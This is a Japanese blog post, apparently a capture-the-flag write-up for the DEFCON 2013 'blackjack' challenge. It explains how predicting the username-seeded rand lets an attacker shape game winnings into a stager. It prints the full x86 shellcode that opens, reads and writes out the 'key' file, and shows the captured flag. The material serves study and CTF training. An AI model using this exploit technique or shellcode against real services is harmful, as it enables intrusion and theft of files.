読者です 読者をやめる 読者になる 読者になる

DEFCON CTF2013 blackjack writeup

CTF writeup DEFCON 2013 DEFCON

最近鈍ってる気がするので、今日から少しずつ去年のDEFCONの問題を解いていきます。

とりあえず、去年のDEFCONは非常に悔しかったので、反省しながらやりたいと思います。

 

今日は(確か)Shellcode200のblackjackを解きます。

基本的にバイナリのWriteupは説明しづらいので、基本的にサブルーチンを載せたりということはしたくないです。

興味がある方はここからバイナリを落としてもらった方がいいと思います。

 

さて、blackjackは問題名の通り、ブラックジャックを遊べるサービスです。

要点は5つ。

  • ゲーム終了時に所持金が0x539であれば、jmp winningsされる。つまりwinningsにはShellcodeを入れなければならない。
  • ゲームの終了条件は主に
    • -1を入力する

    • 自分の持ち金が入っているグローバル変数cashが0以下になる
    • トータルのゲーム数が0x800回になる

    の3つ。

  • winningsには、勝った場合は掛け金が、負けた場合には掛け金の2の補数が格納されていく。ちなみに引き分けの場合は何もされない。
  • 掛け金は0 ~ 127までしか賭けることができない。すなわちShellcode内で128 ~ 255を使いたければ、わざと負けてちょうど補数がその数になるように調整するしかない。
  • $127を賭けた状態で負けるとTipWaitressが実行される。TipWaitressではrand関数が数回実行され、$1をウェイトレスにチップとして支払うかを選べる。

 

任意のShellcodeを書くために、まずは「どれだけ自由に勝敗を操作できるのか」が問題になります。

基本的に自分の出す手やディーラーが出す手はrand関数によってランダムに決まるわけですが、勝敗を予測するためにはsrandに用いられている乱数の種が何であるかが重要です。

調べてみるとhandle_client関数内の冒頭で

mov     dword ptr [esp+4], offset aGotAName? ; "Got a name? "
mov     eax, [ebp+fd]
mov     [esp], eax      ; fd
call    sendit
mov     dword ptr [esp+8], 63h ; int
lea     eax, [ebp+var_70]
mov     [esp+4], eax    ; int
mov     eax, [ebp+fd]
mov     [esp], eax      ; fd
call    read_until
lea     eax, [ebp+var_70]
mov     eax, [eax]
mov     [esp], eax      ; seed
call    _srand

 という処理が行われています。

つまり、srandの種は入力したユーザー名の先頭4byteであり、randによって返されるすべての値は予測可能です。

よって、ちゃんと"reversingするのであれば"、勝敗をかなり正確に操作することができます。

 

次に、所持金が0x539で終了しなければならないという条件ですが、よほど大きなShellcodeでなれば、Shellcodeの後にゴミを追加してやることで、ちょうど0x539になるように調節できそうです。

 

以上よりShelcodeを書いてやれるのですが、「勝敗をかなり正確に操作する」というのは一種の探索プログラムのようなものを組んでやる必要があり、非常に骨が折れます。

何よりもrand関数の戻り値からカードの目を算出する処理はあまり追いたくありません。

したがって、もっと簡単な方法を探しましょう。

 

ユーザーがwinnings以外に自由に操作することの出来る配列はなんでしょうか?

 

それはユーザー名を格納する配列でしょう。

入力することの出来るユーザー名は99byteなので、調整するために先頭4byteを捨てるとしても、95byteを自由に埋めてやることが出来ます。

中には100byteを超えるようなShellcodeもなくはないですが、基本的には95byteあればFLAGをremoteから読みだすには十分です。

よって、winnings側にはこのような単純化したShellcodeを置くだけでよさそうです。

00000000  55                push ebp
00000001  5F                pop edi
00000002  83EF6d            sub edi,byte +0x6d
00000005  83C701            add edi,byte +0x01
00000008  FFE7              jmp edi

少し勝敗の調整のため、あえてsubの後にaddしています(後述します。

handle_client内のローカル変数ebp-0x70にユーザー名が入っているため、これでちょうどebp-0x6Cを指します(一応乱数調整用の4byteを開けておきます)。

 

さて、次にユーザー名の配列の方にはkeyファイルをreadしてremote越しにsendするようなShellcodeを書きます。

ちょうどesp内にwrite用のfdが格納されているため、keyのopenとread, fdへのwriteのみ書くだけで大丈夫そうです。

ちなみに、今回は「FLAGが同じディレクトリ内にあるkeyファイルである」と分かっているためFLAGをreadしてsendするだけのShellcodeを書きますが、本来はremote shellcodeを書く必要があります(他の問題を解いていて、keyファイルにFLAGがあることを知ってる場合には必要ない)。

00000000  EB29              jmp short 0x2b
00000002  6A05              push byte +0x5
00000004  58                pop eax
00000005  5B                pop ebx
00000006  31C9              xor ecx,ecx
00000008  CD80              int 0x80
0000000A  89C3              mov ebx,eax
0000000C  B003              mov al,0x3
0000000E  89EF              mov edi,ebp
00000010  89F9              mov ecx,edi
00000012  31D2              xor edx,edx
00000014  B6FF              mov dh,0xff
00000016  B2FF              mov dl,0xff
00000018  CD80              int 0x80
0000001A  89C2              mov edx,eax
0000001C  6A04              push byte +0x4
0000001E  58                pop eax
0000001F  8A5C2404          mov bl,[esp+0x4]
00000023  CD80              int 0x80
00000025  6A01              push byte +0x1
00000027  58                pop eax
00000028  43                inc ebx
00000029  CD80              int 0x80
0000002B  E8D2FFFFFF        call dword 0x2
00000030  6B                db 0x6b
00000031  65                db 0x65
00000032  79                db 0x79

 これで51byte。余裕でいけそうですね。

実は、read_untilが原因で、shellcode内に0x0Aが含まれてはいけないのですが、運よくどこにも入っていなかったので調整の必要はなさそうです。

 

最後は勝敗の調節ですが、めんどくさいので手作業で探しました。

持ち金が負になっていはいけないため、「mov edi, ebp」ではなく、より持ち金を稼ぐことが出来る命令「push ebp; pop edi」を実行します。

次に、ediから0x6C引く処理をするのですが、「win,win,lose,lose,win,lose,lose」と出来るような乱数の種がなかなか見つからなかったので、「win,win,lose,lose,win,lose,lose,win,lose,lose」という調節ができるsrand(0x00000030)を用いて「sub edi, 0x6d; add edi, 0x1」を実行することで等価な処理を行います。

これでShellcodeは配置が完了したので、後は合計が0x539になるようにゴミを追加するだけです。

0x800回もあれば、Stayするだけで余裕で10回勝つことができるので、簡単に0x539に調節してやることが出来ます。

 

DEFCON Writeup blackjack

 

f:id:potetisensei:20140215230636p:plain

 

The key is: Counting cards will get you banned from the casino

所要時間1時間27分。

 今日はここまで。